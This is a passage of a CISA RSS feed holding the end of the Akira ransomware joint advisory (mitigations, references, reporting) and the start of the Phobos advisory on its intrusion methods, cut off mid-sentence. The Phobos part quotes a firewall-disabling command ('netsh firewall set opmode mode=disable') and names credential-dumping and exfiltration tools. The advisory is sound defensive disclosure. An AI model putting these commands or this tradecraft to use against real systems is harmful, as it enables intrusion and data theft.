  638. &lt;li&gt;&lt;strong&gt;Keep all operating systems, software, and firmware up to date.&lt;/strong&gt; Timely patching is one of the most efficient and cost effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;known exploited vulnerabilities&lt;/a&gt; in internet-facing systems. [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#MitigatingKnownVulnerabilities1E" title="Mitigating Known Vulnerabilities (1.E)"&gt;CPG 1.E&lt;/a&gt;].&lt;/li&gt;
  639. &lt;li&gt;&lt;strong&gt;Segment networks&lt;/strong&gt; to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#NetworkSegmentation2F" title="Network Segmentation (2.F)"&gt;CPG 2.F&lt;/a&gt;].&lt;/li&gt;
  640. &lt;li&gt;&lt;strong&gt;Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.&lt;/strong&gt; To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DetectingRelevantThreatsandTTPs3A" title="Detecting Relevant Threats and TTPs (3.A)"&gt;CPG 3.A&lt;/a&gt;].&lt;/li&gt;
  641. &lt;li&gt;&lt;strong&gt;Filter network traffic&lt;/strong&gt; by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.&lt;/li&gt;
  642. &lt;li&gt;&lt;strong&gt;Install, regularly update, and enable real time detection for antivirus software&lt;/strong&gt; on all hosts.&lt;/li&gt;
  643. &lt;li&gt;&lt;strong&gt;Review domain controllers, servers, workstations, and active directories&lt;/strong&gt; for new and/or unrecognized accounts [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#AssetInventory1A" title="Asset Inventory (1.A)"&gt;CPG 1.A&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DocumentDeviceConfigurations2O" title="Document Device Configurations (2.O)"&gt;2.O&lt;/a&gt;].&lt;/li&gt;
  644. &lt;li&gt;&lt;strong&gt;Audit user accounts&lt;/strong&gt; with administrative privileges and configure access controls according to the principle of least privilege [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SeparatingUserandPrivilegedAccounts2E" title="Separating User and Privileged Accounts (2.E)"&gt;CPG 2.E&lt;/a&gt;].&lt;/li&gt;
  645. &lt;li&gt;&lt;strong&gt;Disable unused&lt;/strong&gt; &lt;strong&gt;ports&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ProhibitConnectionofUnauthorizedDevices2V" title="Prohibit Connection of Unauthorized Devices (2.V)"&gt;CPG 2.V&lt;/a&gt;].&lt;/li&gt;
  646. &lt;li&gt;&lt;strong&gt;Consider adding an email banner to emails&lt;/strong&gt; received from outside of your organization [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#EmailSecurity2M" title="Email Security (2.M)"&gt;CPG 2.M&lt;/a&gt;].&lt;/li&gt;
  647. &lt;li&gt;&lt;strong&gt;Disable hyperlinks&lt;/strong&gt; in received emails.&lt;/li&gt;
  648. &lt;li&gt;&lt;strong&gt;Implement time-based access for accounts set at the admin level and higher.&lt;/strong&gt; For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the &lt;a href="https://www.cisa.gov/zero-trust-maturity-model" title="Zero Trust Maturity Model"&gt;Zero Trust model&lt;/a&gt;). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.&lt;/li&gt;
  649. &lt;li&gt;&lt;strong&gt;Disable command-line and scripting activities and permissions.&lt;/strong&gt; Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SeparatingUserandPrivilegedAccounts2E" title="Separating User and Privileged Accounts (2.E)"&gt;CPG 2.E&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DisableMacrosbyDefault2N" title="Disable Macros by Default (2.N)"&gt;2.N&lt;/a&gt;].&lt;/li&gt;
  650. &lt;li&gt;&lt;strong&gt;Maintain offline backups of data,&lt;/strong&gt; and regularly maintain backup and restoration [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SystemBackups2R" title="System Backups (2.R)"&gt;CPG 2.R&lt;/a&gt;]. By instituting this practice, the organization helps ensure they will not be severely interrupted, and/or only have irretrievable data.&amp;nbsp;&lt;/li&gt;
  651. &lt;li&gt;&lt;strong&gt;Ensure all backup data is encrypted, immutable&lt;/strong&gt; (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#StrongandAgileEncryption2K" title="Strong and Agile Encryption (2.K)"&gt;CPG 2.K&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SecureSensitiveData2L" title="Secure Sensitive Data (2.L)"&gt;2.L&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SystemBackups2R" title="System Backups (2.R)"&gt;2.R&lt;/a&gt;].&lt;/li&gt;
  652. &lt;/ul&gt;
  653. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  654. &lt;p&gt;In addition to applying mitigations, the FBI, CISA, EC3, and NCSC-NL recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The FBI, CISA, EC3 and NCSC-NL recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  655. &lt;p&gt;To get started:&lt;/p&gt;
  656. &lt;ol&gt;
  657. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 6 -14).&lt;/li&gt;
  658. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  659. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  660. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  661. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  662. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  663. &lt;/ol&gt;
  664. &lt;p&gt;The FBI, CISA, EC3, and NCSC-NL recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  665. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  666. &lt;ul&gt;
  667. &lt;li&gt;&lt;a href="https://www.stopransomware.gov/" title="#StopRansomware"&gt;Stopransomware.gov&lt;/a&gt; is a whole-of-government approach that gives one central location for ransomware resources and alerts.&lt;/li&gt;
  668. &lt;li&gt;Resource to mitigate a ransomware attack: &lt;a href="https://www.cisa.gov/resources-tools/resources/stopransomware-guide" title="Joint Ransomware Task Force (JRTF) #StopRansomware Guide"&gt;#StopRansomware Guide&lt;/a&gt;.&lt;/li&gt;
  669. &lt;li&gt;No cost cyber hygiene services: &lt;a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services"&gt;Cyber Hygiene Services&lt;/a&gt;, &lt;a href="https://github.com/cisagov/cset/releases/tag/v10.3.0.0" title="Ransomware Readiness Assessment CSET v10.3"&gt;Ransomware Readiness Assessment&lt;/a&gt;.&lt;/li&gt;
  670. &lt;/ul&gt;
  671. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  672. &lt;ol&gt;
  673. &lt;li&gt;&lt;a href="https://www.fortinet.com/blog/threat-research/ransomware-roundup-akira" title="Ransomware Roundup - Akira"&gt;Fortinet: Ransomware Roundup - Akira&lt;/a&gt;&lt;/li&gt;
  674. &lt;li&gt;&lt;a href="https://blogs.cisco.com/security/akira-ransomware-targeting-vpns-without-multi-factor-authentication" title="Akira Ransomware Targeting VPNs without Multi-Factor Authentication"&gt;Cisco: Akira Ransomware Targeting VPNs without MFA&lt;/a&gt;&lt;/li&gt;
  675. &lt;li&gt;&lt;a href="https://www.truesec.com/hub/blog/akira-ransomware-and-exploitation-of-cisco-anyconnect-vulnerability-cve-2020-3259" title="Akira Ransomware and Exploitation of Cisco Anyconnect Vulnerability CVE-2020-3259"&gt;Truesec: Indications of Akira Ransomware Group Actively Exploiting Cisco AnyConnect CVE-2020-3259&lt;/a&gt;&lt;/li&gt;
  676. &lt;li&gt;&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira" title="Ransomware Spotlight: Akira"&gt;TrendMicro: Akira Ransomware Spotlight&lt;/a&gt;&lt;/li&gt;
  677. &lt;li&gt;&lt;a href="https://www.crowdstrike.com/cybersecurity-101/kerberoasting/" title="KERBEROASTING ATTACKS"&gt;CrowdStrike: What is a Kerberoasting Attack?&lt;/a&gt;&lt;/li&gt;
  678. &lt;li&gt;&lt;a href="https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/" title="Akira, again: The ransomware that keeps on taking"&gt;Sophos: Akira, again: The ransomware that keeps on taking&lt;/a&gt;&lt;/li&gt;
  679. &lt;li&gt;&lt;a href="https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/" title="Akira Ransomware is “bringin’ 1988 back”"&gt;Sophos: Akira Ransomware is “bringin’ 1988 back”&lt;/a&gt;&lt;/li&gt;
  680. &lt;/ol&gt;
  681. &lt;h3&gt;&lt;strong&gt;REPORTING&lt;/strong&gt;&lt;/h3&gt;
  682. &lt;p&gt;Your organization has no obligation to respond or provide information back to the FBI in response to this joint CSA. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.&lt;/p&gt;
  683. &lt;p&gt;The FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Akira threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.&lt;/p&gt;
  684. &lt;p&gt;Additional details of interest include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.&lt;/p&gt;
  685. &lt;p&gt;The FBI, CISA, EC3, and NCSC-NL do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI’s&amp;nbsp;&lt;a href="https://www.ic3.gov/" title="Internet Crime Complain Center (IC3)"&gt;Internet Crime Complain Center (IC3)&lt;/a&gt;, a local &lt;u&gt;FBI&amp;nbsp;&lt;/u&gt;&lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;Field Office&lt;/a&gt;, or CISA via the agency’s&amp;nbsp;&lt;a href="https://www.cisa.gov/forms/report" title="Incident Reporting System"&gt;Incident Reporting System&lt;/a&gt; or its 24/7 Operations Center (&lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or by calling 1-844-Say-CISA (1-844-729-2472).&lt;/p&gt;
  686. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  687. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, EC3, and NCSC-NL do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI or CISA.&lt;/p&gt;
  688. &lt;h3&gt;&lt;strong&gt;ACKNOWLEDGEMENTS&lt;/strong&gt;&lt;/h3&gt;
  689. &lt;p&gt;Cisco, Sophos, and Fortinet contributed to this advisory.&lt;/p&gt;
  690. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  691. &lt;p&gt;April 18, 2024: Initial version.&lt;/p&gt;
  692. </description>
  693.  <pubDate>Wed, 17 Apr 2024 12:23:11 EDT</pubDate>
  694.    <dc:creator>CISA</dc:creator>
  695.    <guid isPermaLink="false">/node/21319</guid>
  696.    </item>
  697. <item>
  698.  <title>#StopRansomware: Phobos Ransomware</title>
  699.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060a</link>
  700.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  701. &lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; This joint Cybersecurity Advisory (CSA) is part of an ongoing&amp;nbsp;#StopRansomware&amp;nbsp;effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit &lt;/em&gt;&lt;a href="https://www.cisa.gov/stopransomware" title="#StopRansomware"&gt;&lt;em&gt;stopransomware.gov&lt;/em&gt;&lt;/a&gt;&lt;em&gt; to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.&lt;/em&gt;&lt;/p&gt;
  702. &lt;p&gt;The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA, to disseminate known TTPs and IOCs associated with the Phobos ransomware variants observed as recently as February 2024, according to open source reporting. Phobos is structured as a ransomware-as-a-service (RaaS) model. Since May 2019, Phobos ransomware incidents impacting state, local, tribal, and territorial (SLTT) governments have been regularly reported to the MS-ISAC. These incidents targeted municipal and county governments, emergency services, education, public healthcare, and other critical infrastructure entities to successfully ransom several million U.S. dollars.[&lt;a href="https://www.privacyaffairs.com/moral-8-base-ransomware-targets-2-new-victims/" title="“Moral” 8Base Ransomware Targets 2 New Victims"&gt;1&lt;/a&gt;],[&lt;a href="https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html" title="8Base Ransomware: A Heavy Hitting Player"&gt;2&lt;/a&gt;]&lt;/p&gt;
  703. &lt;p&gt;The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Phobos ransomware and other ransomware incidents.&lt;/p&gt;
  704. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  705.  
  706.  
  707.  
  708.  
  709.  
  710. &lt;div class="c-file"&gt;
  711.    &lt;div class="c-file__download"&gt;
  712.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/aa24-060a-stopransomware-phobos-ransomware_1.pdf" class="c-file__link" target="_blank"&gt;AA24-060A #StopRansomware: Phobos Ransomware&lt;/a&gt;
  713.    &lt;span class="c-file__size"&gt;(PDF,       678.84 KB
  714.  )&lt;/span&gt;
  715.  &lt;/div&gt;
  716. &lt;/div&gt;
  717. &lt;p&gt;For a downloadable copy of indicators of compromise (IOCs), see:&lt;/p&gt;
  718.  
  719.  
  720.  
  721.  
  722.  
  723. &lt;div class="c-file"&gt;
  724.    &lt;div class="c-file__download"&gt;
  725.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA24-060A.stix_.xml" class="c-file__link" target="_blank"&gt;AA24-060A STIX XML&lt;/a&gt;
  726.    &lt;span class="c-file__size"&gt;(XML,       147.73 KB
  727.  )&lt;/span&gt;
  728.  &lt;/div&gt;
  729. &lt;/div&gt;
  730.  
  731.  
  732.  
  733.  
  734.  
  735. &lt;div class="c-file"&gt;
  736.    &lt;div class="c-file__download"&gt;
  737.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA24-060A-StopRansomware-Phobos-Ransomware.stix_.json" class="c-file__link" target="_blank"&gt;AA24-060A STIX JSON&lt;/a&gt;
  738.    &lt;span class="c-file__size"&gt;(JSON,       119.53 KB
  739.  )&lt;/span&gt;
  740.  &lt;/div&gt;
  741. &lt;/div&gt;
  742. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  743. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&amp;amp;CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  744. &lt;h4&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/h4&gt;
  745. &lt;p&gt;According to open source reporting, Phobos ransomware is likely connected to numerous variants (including Elking, Eight, Devos, Backmydata, and Faust ransomware) due to similar TTPs observed in Phobos intrusions. Phobos ransomware operates in conjunction with various open source tools such as Smokeloader, Cobalt Strike, and Bloodhound. These tools are all widely accessible and easy to use in various operating environments, making it (and associated variants) a popular choice for many threat actors.[&lt;a href="https://www.infosecurity-magazine.com/news/phobos-ransomware-new-faust-variant/" title="Phobos Ransomware Family Expands With New FAUST Variant"&gt;3&lt;/a&gt;],[&lt;a href="https://therecord.media/romanian-hospitals-offline-after-ransomware-attack" title="Hospitals offline across Romania following ransomware attack on IT platform"&gt;4&lt;/a&gt;]&lt;/p&gt;
  746. &lt;h4&gt;&lt;strong&gt;Reconnaissance and Initial Access&lt;/strong&gt;&lt;/h4&gt;
  747. &lt;p&gt;Phobos actors typically gain initial access to vulnerable networks by leveraging phishing campaigns [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1598/" title="Phishing for Information"&gt;T1598&lt;/a&gt;] to drop hidden payloads or using internet protocol (IP) scanning tools, such as Angry IP Scanner, to search for vulnerable Remote Desktop Protocol (RDP) ports [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/001/" title="Active Scanning: Scanning IP Blocks"&gt;T1595.001&lt;/a&gt;] or by leveraging RDP on Microsoft Windows environments.[&lt;a href="https://www.comparitech.com/net-admin/phobos-ransomware/" title="What is Phobos Ransomware &amp;amp; How to Protect Against It?"&gt;5&lt;/a&gt;],[&lt;a href="https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/" title="Understanding the Phobos affiliate structure and activity"&gt;6&lt;/a&gt;]&lt;/p&gt;
  748. &lt;p&gt;Once they discover an exposed RDP service, the actors use open source brute force tools to gain access [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/" title="Brute Force"&gt;T1110&lt;/a&gt;]. If Phobos actors gain successful RDP authentication [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;] in the targeted environment, they perform open source research to create a victim profile and connect the targeted IP addresses to their associated companies [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1593/" title="Search Open Websites/Domains"&gt;T1593&lt;/a&gt;]. Threat actors leveraging Phobos have notably deployed remote access tools to establish a remote connection within the compromised network [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1219/" title="Remote Access Software"&gt;T1219&lt;/a&gt;].[&lt;a href="https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/" title="A deep dive into Phobos ransomware, recently deployed by 8Base group"&gt;7&lt;/a&gt;]&lt;/p&gt;
  749. &lt;p&gt;Alternatively, threat actors send spoofed email attachments [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/001/" title="Phishing: Spearphishing Attachment"&gt;T1566.001&lt;/a&gt;] that are embedded with hidden payloads [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1204/002/" title="User Execution: Malicious File"&gt;T1204.002&lt;/a&gt;] such as SmokeLoader, a backdoor trojan that is often used in conjunction with Phobos. After SmokeLoader’s hidden payload is downloaded onto the victim’s system, threat actors use the malware’s functionality to download the Phobos payload and exfiltrate data from the compromised system.&lt;/p&gt;
  750. &lt;h4&gt;&lt;strong&gt;Execution and Privilege Escalation&lt;/strong&gt;&lt;/h4&gt;
  751. &lt;p&gt;Phobos actors run executables like &lt;code&gt;1saas.exe&lt;/code&gt; or &lt;code&gt;cmd.exe&lt;/code&gt; to deploy additional Phobos payloads that have elevated privileges enabled [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0004/" title="Privilege Escalation"&gt;TA0004&lt;/a&gt;]. Additionally, Phobos actors can use the previous commands to perform various windows shell functions. The Windows command shell enables threat actors to control various aspects of a system, with multiple permission levels required for different subsets of commands [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/003/" title="Command and Scripting Interpreter: Windows Command Shell"&gt;T1059.003&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;].[&lt;a href="https://www.malwarebytes.com/blog/news/2019/07/a-deep-dive-into-phobos-ransomware" title="A deep dive into Phobos ransomware"&gt;8&lt;/a&gt;]&lt;/p&gt;
  752. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Smokeloader Deployment&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  753. &lt;p&gt;Phobos operations feature a standard three phase process to decrypt a payload that allows the threat actors to deploy additional destructive malware.[&lt;a href="https://any.run/malware-trends/smoke" title="Smoke Loader"&gt;9&lt;/a&gt;]&lt;/p&gt;
  754. &lt;p&gt;For the first phase, Smokeloader manipulates either &lt;code&gt;VirtualAlloc&lt;/code&gt; or &lt;code&gt;VirtualProtect API&lt;/code&gt; functions—which opens an entry point, enabling code to be injected into running processes and allowing the malware to evade network defense tools [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1055/002/" title="Process Injection: Portable Executable Injection"&gt;T1055.002&lt;/a&gt;]. In the second phase, a stealth process is used to obfuscate command and control (C2) activity by producing requests to legitimate websites [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1001/003/" title="Data Obfuscation: Protocol Impersonation"&gt;T1001.003&lt;/a&gt;].[&lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader" title="SmokeLoader"&gt;10&lt;/a&gt;]&lt;/p&gt;
  755. &lt;p&gt;Within this phase, the shellcode also sends a call from the entry point to a memory container [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1055/004/" title="Process Injection: Asynchronous Procedure Call"&gt;T1055.004&lt;/a&gt;] and prepares a portable executable for deployment in the final stage [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/002/" title="Obfuscated Files or Information: Software Packing"&gt;T1027.002&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1140/" title="Deobfuscate/Decode Files or Information"&gt;T1140&lt;/a&gt;].&lt;/p&gt;
  756. &lt;p&gt;Finally, once Smokeloader reaches its third stage, it unpacks a program-erase cycle from stored memory, which is then sent to be extracted from a SHA 256 hash as a payload.[&lt;a href="https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/" title="A deep dive into Phobos ransomware, recently deployed by 8Base group"&gt;7&lt;/a&gt;] Following successful payload decryption, the threat actors can begin downloading additional malware.&lt;/p&gt;
  757. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Additional Phobos Defense Evasion Capabilities&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  758. &lt;p&gt;Phobos ransomware actors have been observed bypassing organizational network defense protocols by modifying system firewall configurations using commands like &lt;code&gt;netsh firewall set opmode mode=disable&lt;/code&gt; [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/004/" title="Impair Defenses: Disable or Modify System Firewall"&gt;T1562.004&lt;/a&gt;]. Additionally, Phobos actors can evade detection by using the following tools: Universal Virus Sniffer, Process Hacker, and PowerTool [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/" title="Impair Defenses"&gt;T1562&lt;/a&gt;].&lt;/p&gt;
  759. &lt;h4&gt;&lt;strong&gt;Persistence and Privilege Escalation&lt;/strong&gt;&lt;/h4&gt;
  760. &lt;p&gt;According to open source reporting, Phobos ransomware uses commands such as &lt;code&gt;Exec.exe&lt;/code&gt; or the &lt;code&gt;bcdedit[.]exe&lt;/code&gt; control mechanism. Phobos has also been observed using Windows Startup folders and Run Registry Keys such as &lt;code&gt;C:/Users\Admin\AppData\Local\directory&lt;/code&gt; [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1547/001/" title="Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"&gt;T1547.001&lt;/a&gt;] to maintain persistence within compromised environments.[&lt;a href="https://www.comparitech.com/net-admin/phobos-ransomware/" title="What is Phobos Ransomware &amp;amp; How to Protect Against It?"&gt;5&lt;/a&gt;]&lt;/p&gt;
  761. &lt;p&gt;Additionally, Phobos actors have been observed using built-in Windows API functions [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1106/" title="Native API"&gt;T1106&lt;/a&gt;] to steal tokens [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1134/001/" title="Access Token Manipulation: Token Impersonation/Theft"&gt;T1134.001&lt;/a&gt;], bypass access controls, and create new processes to escalate privileges by leveraging the &lt;code&gt;SeDebugPrivilege&lt;/code&gt; process [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1134/002/" title="Access Token Manipulation: Create Process with Token"&gt;T1134.002&lt;/a&gt;]. Phobos actors attempt to authenticate using cached password hashes on victim machines until they reach domain administrator access [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/005/" title="OS Credential Dumping: Cached Domain Credentials"&gt;T1003.005&lt;/a&gt;].&lt;/p&gt;
  762. &lt;h4&gt;&lt;strong&gt;Discovery and Credential Access&lt;/strong&gt;&lt;/h4&gt;
  763. &lt;p&gt;Phobos actors additionally use open source tools [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1588/002/" title="Obtain Capabilities: Tool"&gt;T1588.002&lt;/a&gt;] such as&amp;nbsp;&lt;a href="https://attack.mitre.org/versions/v14/software/S0521/" title="BloodHound"&gt;Bloodhound&lt;/a&gt; and Sharphound to enumerate the active directory [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Account Discovery: Domain Account"&gt;T1087.002&lt;/a&gt;]. &lt;a href="https://attack.mitre.org/versions/v14/software/S0002/" title="Mimikatz"&gt;Mimikatz&lt;/a&gt; and NirSoft, as well as Remote Desktop Passview to export browser client credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/003/" title="Credentials from Password Stores: Credentials from Web Browsers"&gt;T1555.003&lt;/a&gt;], have also been used. Furthermore, Phobos ransomware is able to enumerate connected storage devices [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;], running processes [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;], and encrypt user files [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;].&lt;/p&gt;
  764. &lt;h4&gt;&lt;strong&gt;Exfiltration&lt;/strong&gt;&lt;/h4&gt;
  765. &lt;p&gt;Phobos actors have been observed using &lt;code&gt;WinSCP&lt;/code&gt; and &lt;code&gt;Mega.io&lt;/code&gt; for file exfiltration.[&lt;a href="https://www.truesec.com/hub/blog/a-case-of-the-faust-ransomware" title="A case of the FAUST Ransomware"&gt;11&lt;/a&gt;] They use &lt;code&gt;WinSCP&lt;/code&gt; to connect directly from a victim network to an FTP server [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1071/002/" title="Application Layer Protocol: File Transfer Protocols"&gt;T1071.002&lt;/a&gt;] they control [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0010/" title="Exfiltration"&gt;TA0010&lt;/a&gt;]. Phobos actors install &lt;code&gt;Mega.io&lt;/code&gt; [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;] and use it to export victim files directly to a cloud storage provider [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1567/002/" title="Exfiltration Over Web Service: Exfiltration to Cloud Storage"&gt;T1567.002&lt;/a&gt;]. Data is 